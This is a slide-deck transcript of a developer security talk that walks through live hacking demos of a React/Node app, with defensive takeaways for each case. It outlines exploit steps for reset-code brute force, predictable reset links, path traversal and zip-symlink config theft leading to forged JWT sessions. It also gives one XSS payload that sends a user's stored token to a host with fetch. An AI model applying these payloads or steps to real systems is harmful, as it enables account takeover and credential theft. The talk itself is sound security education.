6 ways to hack your JavaScript application by Viktor Turskyi
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This will be 6 live hacking demos. We will not do theory, but will see in practice how small and not always obvious errors lead to significant vulnerabilities in your JavaScript application.
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6 ways to hack your JavaScript application by Viktor Turskyi
- 2. Viktor Turskyi ● CEO at WebbyLab ● 15 years in software development
- 3. Why I talk about security? 1. I switched to software development from IT security 2. I work with software engineers for many years and this topic is highly undercovered 3. I work with different businesses for many years and risks are highly underestimated 4. Governmental regulations (GDPR, PCI DSS etc) 5. It makes you a better software engineer 6. It is FUN!!
- 4. What I will talk about? 1. Not about OWASP (Open Web Application Security Project) Top 10 report 2. Not about security tools (metasploit, sqlmap etc) 3. Not about content security policy. 4. Only practical cases that we’ve met in real life. 5. JavaScript based demos 6. Real cases simulated in environment a. React frontend b. NodeJs backend c. Set of exploits
- 5. Overview of the existing application
- 6. Let’s play a game 1. I show you a piece of application code with vulnerability. 2. Who sees the vulnerability? 3. I run exploit 4. You guess the exploits algorithm 5. I go through exploit in details
- 7. Case 1: Password recovery by SMS
- 8. Case 1: Description To improve security a company decided to use SMS for password recovery. User enters own email and receives on phone code like: 7483
- 9. Run exploit
- 10. How does the exploit work?
- 11. Case 1: Takeaways Think about bruteforce. Reset codes: SMS codes CAPTCHA Codes Limit requests per IP is not a solution
- 13. Case 2: Email password recovery
- 16. Run exploit
- 17. How does the exploit work?
- 19. Algorithm 1. Prepare payloads for any object creation and password restore link generation. 2. Send them simultaneously. 3. Use got ObjectId of newly created object as base 4. Increment counters (at first) and timestamp (it is in seconds,+-1 is enough in most cases) 5. Use the new object id for password recovery
- 20. Mongo <= v3.2 Mongo >= v3.4
- 22. Case 2: Takeaways Mongo ID predictable (on all version of mongo) UUID v1 predictable (unique, but not random) UUID v4 unpredictable Always think about predictability of URLs (keys, etc)
- 23. Case 3: File paths
- 25. Run exploit
- 26. How does the exploit work?
- 27. Let’s look step by step
- 28. A lot of frameworks had this vulnerability ACSII: CHAR “.” = DEC 46 = HEX 2E = %2E (in URL) /static/../etc/config.json /static/%2e%2e/etc/config.json Main reason: validate, then escape (should be escape, then validate)
- 29. Algorithm 1. Prepare path where do you expect to have sensitive data (configs). 2. Replace dots in relative paths with “%2e” 3. Get configs with JWT keys 4. Create own session for any user
- 30. Very popular modules can be vulnerable (11k weekly downloads) Use npm audit (NODEJS DEVS ARE LUCKY TO HAVE IT) Check your dependencies Security is a question of trust apt update JWT vulnerability example (next slides) Case 3: Takeaways
- 32. RFC 7119 JSON Web Token (JWT)
- 33. Case 4: Photos upload
- 35. Run exploit
- 36. How does the exploit work?
- 37. Algorithm 1. Prepare zip archive and pack symlink which references server configuration. 2. Upload zip archive to server 3. Download the uploaded file (which is symlink in real). It will return server config 4. Create own session using a key from the config
- 38. decompress
- 39. Case 4: Takeaways Thinks about edge cases Just know how system works Zip-Slip (next slides)
- 40. Zip-Slip
- 41. Case 5: Tweet creation
- 43. Run exploit
- 44. How does the exploit work?
- 46. Tweet text: '<span>Hello world2</span> <img style="display:none" src="WRONG" onerror="fetch('http://localhost:5000?token='+localStorage.getItem('token'))" />'
- 47. Case 5: Takeaways IF YOU SEE WYSIWYG, CHECK YOUR CODE FOR XSS Do not use regex for extracting script tags Use sanitizer with tags and attrs white-listing CORS will allow you do cross domain request XSS worms issues
- 48. Case 6: The most popular vulnerability in ReactJs boilerplates
- 52. Run exploit
- 53. How does the exploit work?
- 57. Case 6: Takeaways Know HTML page parsing (inline JS not the same as external JS) Think about data usage context Use “serialize-javascript”: serializeJs(initialState, { isJSON: true }) instead of JSON.stringify(initialState)
- 58. Case 7: Network risks
- 59. Case 7: Takeaways Think about communication Get the whole picture Use HTTPS everywhere
- 60. Case 8..14: Case 8: Clickjacking Case 9: Tabnapping Case 10: CSRF (cookie, basic auth) Case 11: SQL Injection (pass through ORM) Case 12: ORM Injection Case 13: Unsafe HTTPS Redirect Case 14: Target=_blank (without rel="noopener noreferrer")
- 61. Do you know how these things work? Heartbleed Shellshock WPA Krack Meltdown and Spectre
- 62. Why I like information security? Information security is about understanding how things work It makes you a better developer You can create more complex projects It is fun!
- 63. Thank you!